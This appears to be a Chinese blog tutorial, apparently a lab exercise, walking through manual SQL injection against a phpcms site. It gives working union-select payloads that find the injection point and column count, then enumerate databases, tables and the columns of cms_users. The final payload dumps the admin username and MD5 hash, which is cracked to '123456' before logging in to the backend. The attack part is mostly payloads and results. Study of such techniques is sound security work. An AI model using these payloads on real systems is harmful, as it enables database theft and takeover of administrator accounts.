基于phpcms的SQL手工注入

步骤一:
探测目标网站有无sql注入点
试探目标网站 分别在地址末尾添加单撇号、and 1=1 和 and 1=2 进行注入点探测。
在这里插入图片描述
and 1=1
在这里插入图片描述
and 1=2
在这里插入图片描述
发现不需要闭合但引号,判断为注入类型为整数型
第一次加单引号时,发生报错,发现了数据库类型为mysql
步骤二、判断字段长度
利用 order by N,从数字 1 开始替代 N,直到返回错误页面,判断字段长度为错误页面的 N-1,也就是最后一个正常页面返回。实验中N=16,错误,所以字段长度为15
在这里插入图片描述
在这里插入图片描述
判断字段为15个
步骤三、判断字段位置回显
利用show.php?id=XX and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3 和 11 的位置可以回显信息。判断数据库信息
在这里插入图片描述
步骤四、判断数据库相关信息
(1)查看 mysql 版本
在这里插入图片描述
(2)查看当前数据库名
在这里插入图片描述(3)查看当前用户
在这里插入图片描述
步骤五、判断所有数据库名
利用 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看 mysql中所有数据库的名称。

由下图结果可知业务数据库为 cms。其他数据库有mysql,test等
在这里插入图片描述
步骤六、判断具体某个数据库中的数据库表
利用 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() ,查看 cms 数据库拥有的所有表。可以发现存放用户信息的表cms_users。
在这里插入图片描述
如下查看其它数据库中的数据表,则需要将。。。where table_schema=database()处的database() 替换为具体的数据库名,并且数据库名要16进制转化为0xAAABBBCCCC格式

步骤七、判断数据表的所有列
利用 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

table_name=cms_users表名需要编码为 16 进制table_name=0x636D735F7573657273形式,从ASCII对照表中可知对应:c(63) m(6d) s(73) _(5f) u(75) s(73) e(65) r(72) s(73)

如图所示,得到 3 个列:userid,username 和 password
在这里插入图片描述
步骤八、判断管理员账号密码
利用 and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e(解密后123456)
在这里插入图片描述
步骤十、登录后台
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值